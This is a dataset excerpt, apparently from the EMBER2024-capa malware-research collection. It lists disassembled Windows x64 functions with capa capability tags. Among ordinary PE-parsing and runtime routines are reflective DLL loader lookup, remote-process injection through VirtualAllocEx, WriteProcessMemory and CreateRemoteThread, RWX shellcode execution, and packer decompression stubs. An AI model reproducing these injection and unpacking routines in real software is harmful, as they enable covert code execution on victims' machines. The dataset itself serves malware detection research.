joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001400
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 0x28], 0
mov qword [rbp - 8], 0
cmp qword [rbp + 0x10], 0
jne 0x140001431
mov eax, 0
jmp 0x140001591
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x48], 0
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
add rax, 0x88
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x18]
and eax, 0xffff0000
test rax, rax
jne 0x14000151c
mov rax, qword [rbp + 0x18]
movzx edx, ax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x10]
mov ecx, eax
mov rax, rdx
sub rax, rcx
shl rax, 2
add qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 8], rax
jmp 0x14000158d
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x18]
mov dword [rbp - 0x1c], eax
jmp 0x140001580
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 0x50]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001576
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
shl rax, 2
add qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 8], rax
jmp 0x14000158d
add qword [rbp - 0x10], 4
add qword [rbp - 0x18], 2
mov eax, dword [rbp - 0x1c]
lea edx, [rax - 1]
mov dword [rbp - 0x1c], edx
test eax, eax
jne 0x140001528
mov rax, qword [rbp - 8]
add rsp, 0x70
pop rbp
ret
Function at 0x1400015a0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov word [rbp - 2], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov rax, qword [rbp + 0x18]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
add rax, 0x18
mov rdx, rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx eax, ax
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x14]
cmp dword [rbp + 0x10], eax
jae 0x14000160b
mov eax, dword [rbp + 0x10]
jmp 0x1400016ee
mov word [rbp - 2], 0
jmp 0x1400016d7
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0xc]
cmp dword [rbp + 0x10], eax
jb 0x1400016cc
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov ecx, dword [rax + 0xc]
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0x10]
add eax, ecx
cmp dword [rbp + 0x10], eax
jae 0x1400016cc
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0xc]
mov edx, dword [rbp + 0x10]
mov ecx, edx
sub ecx, eax
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0x14]
add eax, ecx
jmp 0x1400016ee
movzx eax, word [rbp - 2]
add eax, 1
mov word [rbp - 2], ax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
cmp word [rbp - 2], ax
jb 0x140001616
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016f4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 8], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x14], 0
mov dword [rbp - 0x34], 2
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + 0x18]
cmp ax, 0x10b
jne 0x140001771
cmp dword [rbp - 0x34], 1
je 0x140001799
mov eax, 0
jmp 0x1400018cb
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + 0x18]
cmp ax, 0x20b
jne 0x14000178f
cmp dword [rbp - 0x34], 2
je 0x140001799
mov eax, 0
jmp 0x1400018cb
mov eax, 0
jmp 0x1400018cb
mov rax, qword [rbp - 0x28]
add rax, 0x88
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x20]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 8], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x1c]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x24]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x18]
mov dword [rbp - 0x14], eax
jmp 0x1400018b5
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
lea rdx, str.ReflectiveLoader
mov rcx, rax
call sym.strstr
test rax, rax
je 0x1400018ab
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x1c]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x10]
movzx eax, word [rax]
movzx eax, ax
shl rax, 2
add qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call sym.Rva2Offset
jmp 0x1400018cb
add qword [rbp - 8], 4
add qword [rbp - 0x10], 2
mov eax, dword [rbp - 0x14]
lea edx, [rax - 1]
mov dword [rbp - 0x14], edx
test eax, eax
jne 0x140001831
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x1400018d1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp - 0x20], 0
mov dword [rbp - 4], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
cmp qword [rbp + 0x10], 0
je 0x14000191a
cmp dword [rbp + 0x18], 0
jne 0x140001924
mov eax, 0
jmp 0x1400019c7
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.GetReflectiveLoaderOffset
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x1400019c3
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x10], rax
mov edx, dword [rbp + 0x18]
lea rcx, [rbp - 0x24]
mov rax, qword [rbp + 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
je 0x1400019c3
mov rax, qword [rbp - 0x10]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x1400019a3
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r8, rdx
mov edx, 6
mov ecx, 0
call rax
test eax, eax
jne 0x1400019a3
mov qword [rbp - 0x20], 0
mov ecx, dword [rbp - 0x24]
mov edx, dword [rbp + 0x18]
lea r8, [rbp - 0x28]
mov rax, qword [rbp + 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp - 0x20]
add rsp, 0x50
pop rbp
ret
Function at 0x1400019cd
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp + 0x28], r9
mov dword [rbp - 0xc], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 8], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
cmp qword [rbp + 0x10], 0
je 0x140001b09
cmp qword [rbp + 0x18], 0
je 0x140001b09
cmp dword [rbp + 0x20], 0
je 0x140001b09
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.GetReflectiveLoaderOffset
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
je 0x140001b02
mov edx, dword [rbp + 0x20]
mov rax, qword [rbp + 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140001b05
mov r8d, dword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x140001b08
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x20], rax
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x28]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x100000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 8], rax
jmp 0x140001b09
nop
jmp 0x140001b09
nop
jmp 0x140001b09
nop
mov rax, qword [rbp - 8]
add rsp, 0x70
pop rbp
ret
Function at 0x1400021f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1400110b8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1400110b4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140002242
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000223a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140002329
inc ebx
add rax, 0x28
jmp 0x14000221a
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
jne 0x140002261
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
movsxd rbx, ebx
mov rax, qword [0x1400110b8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call sym._GetPEImageBase
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400110b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1400022c3
mov rax, qword [0x1400110b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002323
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140002323
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400110b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002323
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
inc dword [0x1400110b4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140002790
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140011120]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140011100]
test rbx, rbx
je 0x1400027dc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400027d6
test rsi, rsi
je 0x1400027d6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x1400027ae
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002990
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400029b3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400029b3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400029b4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x1400029ee
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x1400029e5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400029f0
inc r8d
add rax, 0x28
jmp 0x1400029cc
xor eax, eax
ret

Function at 0x140002a61
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14000da40]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x140002a8d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x140cef058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140cef1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140cef089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cef06f
add dl, dl
jne 0x140cef096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cef0f6
xor eax, eax
add dl, dl
jne 0x140cef0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cef1ad
add dl, dl
jne 0x140cef0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cef0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cef0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cef0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140cef0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140cef07e
mov eax, 1
add dl, dl
jne 0x140cef106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cef113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cef0fb
sub eax, ebx
mov ebx, 1
jne 0x140cef14c
mov ecx, 1
add dl, dl
jne 0x140cef12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cef13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cef123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cef07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140cef168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cef175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cef15d
cmp eax, 0x7d00
jae 0x140cef19b
cmp eax, 0x500
jb 0x140cef196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cef07e
cmp eax, 0x7f
ja 0x140cef19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cef07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140cef1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140cef07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140005714
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005573
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005573
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005573
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005573
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005573
cmp dword [rcx + 0x84], 0xe
jbe 0x140005573
cmp dword [rcx + 0xf8], 0
je 0x140005573
mov ecx, ebx
call fcn.140005630
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005400
nop
cmp dword [rbp + 0x20], 0
je 0x1400055c1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400055cc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140005504
Function at 0x140013b8c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140013bbc
xor eax, eax
jmp 0x140013c7f
mov rbp, rbx
cmp word [rax], si
je 0x140013be1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140013bc8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140013bc4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140013adc
movsxd r14, eax
test eax, eax
jne 0x140013c1f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140013bb5
mov rcx, r14
call fcn.14000fe60
mov rdi, rax
test rax, rax
jne 0x140013c38
xor ecx, ecx
call fcn.14000f1ec
jmp 0x140013c14
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140013adc
test eax, eax
jne 0x140013c69
mov rcx, rdi
call fcn.14000f1ec
jmp 0x140013c73
xor ecx, ecx
call fcn.14000f1ec
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140018cac
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007984
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140018d36
cmp byte [rbp - 0x21], r15b
je 0x140018d31
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140018d6c
call fcn.14000f440
test eax, eax
jne 0x140018d58
cmp byte [rbp - 0x21], r15b
je 0x140018d50
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140018d6c
cmp byte [rbp - 0x21], r15b
je 0x140018d69
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400122b4
test eax, eax
jne 0x140018e0c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007984
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140018dab
cmp byte [rbp - 0x21], r15b
je 0x140018de0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140018de0
call fcn.14000f440
test eax, eax
jne 0x140018dcc
cmp byte [rbp - 0x21], r15b
je 0x140018dc5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140018de0
cmp byte [rbp - 0x21], r15b
je 0x140018ddd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400122b4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140018e0c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140018e0f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140018e1d
mov rcx, rdi
call fcn.14000f1ec
cmp byte [rbp + 0x3f], r15b
je 0x140018e2c
mov rcx, qword [rbp + 0x27]
call fcn.14000f1ec
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x142074fe0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x142074fed
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x142074ffd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x142074fe5
lea eax, [rcx + 1]
jmp 0x14207500b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14207501e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x142075004
sub eax, 3
jb 0x14207503e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14207508d
sar eax, 1
movsxd rbp, eax
jb 0x142075074
jmp 0x14207504c
add ebx, ebx
jne 0x14207504a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x142075074
inc ecx
add ebx, ebx
jne 0x14207505a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x142075074
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14207506d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14207505c
add ecx, 2
jmp 0x142075079
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.142074fa2
jmp 0x142074fed
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x2070000]
mov eax, dword [rdi]
or eax, eax
je 0x1420750e9
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x2075000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x142075099
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1420750e3
mov qword [rbx], rax
add rbx, 8
jmp 0x1420750b9
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14207512d
cmp al, 0xef
ja 0x142075115
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1420750f5
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x142075104
mov eax, dword [rdi]
add rdi, 4
jmp 0x142075104
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
